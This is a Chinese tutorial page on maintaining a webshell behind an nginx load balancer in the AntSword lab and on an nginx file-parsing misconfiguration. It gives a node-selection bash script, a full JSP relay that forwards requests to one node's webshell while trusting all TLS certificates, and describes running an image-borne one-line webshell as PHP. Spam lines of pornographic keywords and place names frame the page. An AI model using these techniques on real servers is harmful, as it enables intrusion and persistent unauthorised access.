最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

負(fù)載均衡下的webshell上傳+nginx解析漏洞的過程

 更新時間:2024年02月01日 11:12:19   作者:最后的ikun  
這篇文章主要介紹了負(fù)載均衡下的webshell上傳+nginx解析漏洞,首先介紹了負(fù)載均衡下webshell上傳的四大難點及環(huán)境搭建教程,感興趣的朋友跟隨小編一起看看吧

負(fù)載均衡下的webshell上傳

一,負(fù)載均衡下webshell上傳的四大難點

難點一:需要在每一臺節(jié)點的相同位置上傳相同內(nèi)容的webshell 我們需要在每一臺節(jié)點的相同位置都上傳相同內(nèi)容的 WebShell一旦有一臺機器上沒有,那么在請求輪到這臺機器上的時候,就會出現(xiàn) 404 錯誤,影響使用。是的,這就是你出現(xiàn)一會兒正常,一會兒錯誤的原因。

難點二:無法預(yù)測下一次請求是哪一臺機器去執(zhí)行 我們在執(zhí)行命令時,無法知道下次的請求交給哪臺機器去執(zhí)行。我們執(zhí)行 hostname -i查看當(dāng)前執(zhí)行機器的 ip 時,可以看到一直在飄,因為我們用的是輪詢的方式,還算能確定,一旦涉及了權(quán)重等其它指標(biāo),就讓你好好體驗一波什么叫飄乎不定。

難點三:當(dāng)我們需要上傳一些工具時,麻煩來了: 由于 antSword 上傳文件時,采用的分片上傳方式,把一個文件分成了多次HTTP請求發(fā)送給了目標(biāo),所以尷尬的事情來了,兩臺節(jié)點上,各一半,而且這一半到底是怎么組合的,取決于 LBS 算法

難點四:由于目標(biāo)機器不能出外網(wǎng) 由于目標(biāo)機器不能出外網(wǎng),想進(jìn)一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在這個場景下,這些 tunnel 腳本全部都失靈了。

二、環(huán)境搭建

漏洞復(fù)現(xiàn):
我們假定在真實的業(yè)務(wù)系統(tǒng)上,存在一個 RCE 漏洞,可以讓我們獲取 WebShell。

環(huán)境搭建(下載地址:https://github.com/AntSwordProject/AntSword-Labs) 

將下載的環(huán)境上傳虛擬機后解壓

──(root?kali)-[~/ant/loadbalance/loadbalance-jsp]
└─# chmod +x /usr/bin/docker-compose 
為文件賦予執(zhí)行權(quán)限

┌──(root?kali)-[~/ant/loadbalance/loadbalance-jsp]
└─# docker-compose up -d

連接蟻劍

查看ip,發(fā)現(xiàn)一直進(jìn)行漂移

解決方法

1、關(guān)機或者停服

首先在測試階段,我們可以關(guān)閉一臺服務(wù)器,只保留一臺機器,因為健康檢查機制的存在,很快其它的節(jié)點就會被 nginx 從池子里踢出去,那么妥妥的就能繼續(xù)了。 但在真實項目中,是不允許的,會嚴(yán)重影響業(yè)務(wù)。

2、執(zhí)行前先判斷IP;要不要執(zhí)行;

執(zhí)行前先判斷IP;要不要執(zhí)行;

MYIP=`ifconfig | grep "inet 172" | awk '{print $2}'`
if [$MYIP == "172.19.0.2" ]; then
 	echo "Node1. I will execute command.\n=======\n"
 	ifconfig
 else
 	echo "Other. Try again."
 fi

由于該docker環(huán)境中無ifconfig命令,需要更新

root@ae64558c1d47:/usr/local/tomcat# apt-get  intstall net-tools
將腳本上傳后,訪問如果是0.2ip地址,就執(zhí)行腳本

3、在Web 層做一次 HTTP 流量轉(zhuǎn)發(fā)

腳本內(nèi)容

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>
<%
        String target = "http://172.19.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

訪問后就一直是0.2地址

nginx解析漏洞

該漏洞與Nginx、php版本無關(guān),屬于用戶配置不當(dāng)造成的解漏洞。
直接執(zhí)行 docker compose up-d 啟動容器,無需編譯。
正常訪問

在url后加一個不存在的文件名.php,會出現(xiàn)以下頁面

這是因為該文件中的配置文件安全后綴名為空已及將cgi.fig_pathinfo設(shè)置為cgi.fig_pathinfo=0

當(dāng)訪問一個不存在的文件名時,會自動將上一級目錄尋找文件按照php形式解析,而圖片中含有一句話木馬,所以出現(xiàn)上述頁面

到此這篇關(guān)于負(fù)載均衡下的webshell上傳+nginx解析漏洞的文章就介紹到這了,更多相關(guān)nginx解析漏洞內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • 如何解決Nginx請求轉(zhuǎn)發(fā)將POST變?yōu)镚ET問題

    如何解決Nginx請求轉(zhuǎn)發(fā)將POST變?yōu)镚ET問題

    這篇文章主要介紹了如何解決Nginx請求轉(zhuǎn)發(fā)將POST變?yōu)镚ET問題,具有很好的參考價值,希望對大家有所幫助,如有錯誤或未考慮完全的地方,望不吝賜教
    2024-06-06
  • Nginx中IP地址透傳的應(yīng)用實現(xiàn)

    Nginx中IP地址透傳的應(yīng)用實現(xiàn)

    Nginx的IP地址透傳功能能夠在反向代理場景下保留和傳遞客戶端真實IP地址,通過配置proxy_set_header指令,設(shè)置X-Real-IP和X-Forwarded-For等頭部字段,可將客戶端IP信息傳遞給后端服務(wù)器,感興趣的可以了解一下
    2025-12-12
  • Nginx通過用戶IP獲取所在國家及地理位置的實現(xiàn)方法

    Nginx通過用戶IP獲取所在國家及地理位置的實現(xiàn)方法

    Nginx是一款高性能、輕量級的Web服務(wù)器和反向代理服務(wù)器,今天講解Nginx十分常用的功能之一,通過IP獲取用戶所在的國家,一般廣泛應(yīng)用在各類需要定位的網(wǎng)站上面,來定位用戶首次訪問的國家,通過IP解析庫GeoLite2-Country來實現(xiàn)功能,需要的朋友可以參考下
    2023-10-10
  • nginx中的日志切割詳解

    nginx中的日志切割詳解

    Nginx日志切割是定期將訪問日志和錯誤日志分割成多個文件,以優(yōu)化性能、便于管理和分析,常見的實現(xiàn)方法包括使用logrotate工具和編寫自定義腳本,解決常見的問題如Nginx不再寫入新日志和權(quán)限問題,需要確保正確的信號發(fā)送和權(quán)限設(shè)置
    2025-11-11
  • Nginx高并發(fā)配置實戰(zhàn)百萬級并發(fā)優(yōu)化

    Nginx高并發(fā)配置實戰(zhàn)百萬級并發(fā)優(yōu)化

    本文主要介紹了Nginx高并發(fā)配置實戰(zhàn)百萬級并發(fā)優(yōu)化,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2026-02-02
  • 深入理解Nginx中Server和Location的匹配邏輯

    深入理解Nginx中Server和Location的匹配邏輯

    這篇文章主要介紹了深入理解Nginx中Server和Location的匹配邏輯,小編覺得挺不錯的,現(xiàn)在分享給大家,也給大家做個參考。一起跟隨小編過來看看吧
    2019-03-03
  • nginx使用nginx-rtmp-module模塊實現(xiàn)直播間功能

    nginx使用nginx-rtmp-module模塊實現(xiàn)直播間功能

    做的過程出現(xiàn)很多問題,環(huán)境其實就需要nginx就可以,然后就是在播放的問題,m3u8的格式,mac直接訪問就支持,蘋果系統(tǒng)原生H5支持m3u8,還有就是手機直接訪問也支持!但是其他其他系統(tǒng)PC端不支持,嘗試了好多都不行,最后終于找到了一個支持m3u8格式H5播放
    2017-10-10
  • nginx使用replace-filter-nginx-module實現(xiàn)內(nèi)容替換的示例

    nginx使用replace-filter-nginx-module實現(xiàn)內(nèi)容替換的示例

    本篇文章主要介紹了nginx使用replace-filter-nginx-module實現(xiàn)內(nèi)容替換的示例,小編覺得挺不錯的,現(xiàn)在分享給大家,也給大家做個參考。一起跟隨小編過來看看吧
    2018-03-03
  • 高并發(fā)nginx服務(wù)器的linux內(nèi)核優(yōu)化配置講解

    高并發(fā)nginx服務(wù)器的linux內(nèi)核優(yōu)化配置講解

    今天小編就為大家分享一篇關(guān)于高并發(fā)nginx服務(wù)器的linux內(nèi)核優(yōu)化配置講解,小編覺得內(nèi)容挺不錯的,現(xiàn)在分享給大家,具有很好的參考價值,需要的朋友一起跟隨小編來看看吧
    2019-03-03
  • Nginx、Tomcat等項目部署問題以及解決流程

    Nginx、Tomcat等項目部署問題以及解決流程

    本文總結(jié)了項目部署中常見的 four 類問題及其解決方法:Nginx 未按預(yù)期顯示結(jié)果、端口未開啟、日志分析的重要性以及開發(fā)環(huán)境與生產(chǎn)環(huán)境運行結(jié)果不一致的問題,通過提供詳細(xì)的解決方案和思路,希望開發(fā)者能夠更好地應(yīng)對部署過程中的挑戰(zhàn),確保項目順利上線
    2024-12-12

最新評論

卢龙县| 梓潼县| 丹凤县| 兴海县| 临城县| 福鼎市| 古田县| 邵阳县| 泰州市| 洛扎县| 梁平县| 三门峡市| 沂源县| 永善县| 鄱阳县| 成安县| 永昌县| 沛县| 改则县| 镇康县| 沁水县| 察雅县| 石台县| 吉安市| 镇巴县| 乌恰县| 喀喇沁旗| 平顶山市| 平凉市| 永宁县| 自贡市| 金沙县| 垫江县| 藁城市| 桂林市| 毕节市| 太仆寺旗| 淳安县| 辽阳县| 专栏| 凌云县|